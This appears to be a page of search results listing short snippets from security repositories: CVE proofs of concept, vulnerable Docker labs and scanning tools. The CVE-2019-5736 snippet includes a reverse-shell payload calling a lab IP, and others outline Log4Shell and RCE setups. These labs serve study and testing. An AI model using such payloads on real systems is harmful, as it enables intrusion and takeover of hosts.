12191 matches found
cve-2021-44228-log4j-test
cve-2021-44228-log4j-test Prueba 1. Servidor LDAP y servidor de descarga del archivo malicioso 1.1 Ejecución de docker-compose docker-compose.yml version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han"...
cve-2016-10033-45
Para construir los dockers: $ sudo docker build . -t ep4/5.2.17 cambia 5.2.17 por 18 y 20. para ejecutar los dockers: $ sudo docker run -p 7001:80 ep4/5.2.17 cambia por 7001/7002/7003 y 5.2.17/18/20 en las respectivas carpetas...
CVE-2025-9074-Docker-Desktop-API-Escape-PoC
🐚 docker-shell A lightweight, dependency-free bash script that gives you an emulated interactive shell inside a Docker container — using nothing but curl, dd, od, and awk. No Python, no jq, no editor required. Built for environments where you only have raw shell access and need to exec commands...
Snyk Scan
Bitbucket Pipelines Pipe: Snyk This pipe uses Snyk to find, fix and monitor known vulnerabilities in your app dependencies and docker image. YAML Definition Add the following snippet to the script section of your bitbucket-pipelines.yml file: - pipe: snyk/snyk-scan:1.0.2 variables: SNYKTOKEN: ""...
CVE-2024-21626-demo
CVE-2024-21626-demo Demo for the LT at Container Runtime Meetup 5. This is to raise awareness of the attack risk based on publicly known information, and misuse is strictly prohibited. Slides Container Runtime Meetup 5 - Can You Really Trust That Image? Taking Host Root with CVE-2024-21626 Loggin...
CVE-2026-34040-PoC
CVE-2026-34040 — Bypass del plugin AuthZ de Docker/Moby PoC de laboratorio KO: Es un proyecto de reproducción de laboratorio de una vulnerabilidad que bypasea el plugin de autorización AuthZ de Docker Moby utilizando un cuerpo de solicitud de más de 1MB. EN: Una reproducción de laboratorio de una...
PT-2026-106257
Name of the Vulnerable Software and Affected Versions Docker Buildx Bake affected versions not specified Description Docker Buildx Bake fails to request the required fs.read approval for specific filesystem inputs. This allows an untrusted Bake definition to expose a readable file by using a...
heartbleed-bug
heartbleed-bug Este repositorio tiene como objetivo describir la vulnerabilidad Heartbleed CVE-2014-0160 y cómo reproducirla. ¡Solo debe usarse para pruebas! Explicación de la configuración imagen Docker y máquina virtual bee-box Añadir nuevas funcionalidades a la herramienta heartbleed Añadir...
ensimag-secu3a-cve-2024-22416
CVE-2024-22416 Informe de referencia: GHSA-pgpj-v85q-h5fm Este repositorio contiene una configuración de docker compose que configura tanto un servidor pyLoad como un servidor atacante que solo proporciona un csrf.html. Para probarlo usted mismo, simplemente ejecute docker composer up necesita...
android-kernel-exploitation
Exploitation du noyau Android Objectif L'objectif de cet atelier est de se familiariser avec l'analyse des vulnérabilités du noyau et l'exploitation sur la plateforme Android. Utilisation Clonez le dépôt git clone https://github.com/cloudfuzz/android-kernel-exploitation /workshop URL des pages...
docker-confluence-patched
docker-confluence-patched Confluence 7.12.2 parcheado CVE-2021-26084...
CVE-2026-73519-WolfStack-PoC
CVE-2026-73519 — WolfStack Hardcoded Cluster Secret → Unauthenticated RCE PoC for a hardcoded default authentication secret in WolfStack that lets a remote, unauthenticated attacker run arbitrary commands as root inside any managed Docker/LXC container. | ---|--- CVE| CVE-2026-73519 CNA| VulnChec...
CVE-2019-5736
🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Uso : La máquina es vulnerable a CVE-2019-5736, sigue los pasos del exploit de Runc CVE-2019-5736. Descarga el archivo main.go, cambia el payload en el archivo a: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" Después de eso, ejecuta: go...
docker-log4shell
docker-log4shell Aplicación Go simple / imagen de Docker para jugar con la vulnerabilidad CVE-2021-44228. Aloja un servidor de archivos simple y un servidor ldap que proporciona cualquier clase alojada en el servidor de archivos: ldap://ip:1389/Hello - http://ip:8080/Hello.class docker build -t...
asn-search
asn-search Esta herramienta volcará la información ASN utilizando Hurricane Electric Esta herramienta se ejecuta en Docker, y puedes usar una imagen que ya he creado: docker run -it --cap-add=SYSADMIN tuxotron/asn-search O puedes construir la tuya propia: docker build -t asn-search . docker run -...
CVE-2026-71217-PoC
Introduction An extremely vibe-coded demonstration of CVE-2026-71217 - Tested against iperf3 3.16 Demo reelix@reelix-cachy /CVE-2026-71217 docker container ls -la CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 50d4673a0b27 iperf3:3.16-vuln "iperf3 -s" 41 minutes ago Exited 139 3 minute...
CVE-2026-20896-Gitea-Authentication-Bypass
CVE-2026-20896 - Gitea ≤1.26.2 Authentication Bypass 1. What is Gitea? Gitea is a lightweight, open-source Git hosting platform that allows organizations and developers to manage source code repositories, track issues, review changes, and collaborate on software projects. It provides functionalit...
cve-2020-14343-lab
CVE-2020-14343 – PyYAML Unsafe YAML Loading Lab 1. Project Overview This project demonstrates CVE-2020-14343 in a controlled and isolated Docker environment. The lab contains two environments: A vulnerable environment using PyYAML 5.3.1 A patched environment using PyYAML 5.4 and yaml.safeload The...
CVE-2018-16167
Installation and Execution Sequence 0. LogonTracer Installation Download the logontracer version 1.2.0, where a vulnerability was found, from dockerhub. $docker pull jpcertcc/docker-logontracer:v1.2.0 1. LogonTracer Execution Launch it in a container with the following command. $docker run ...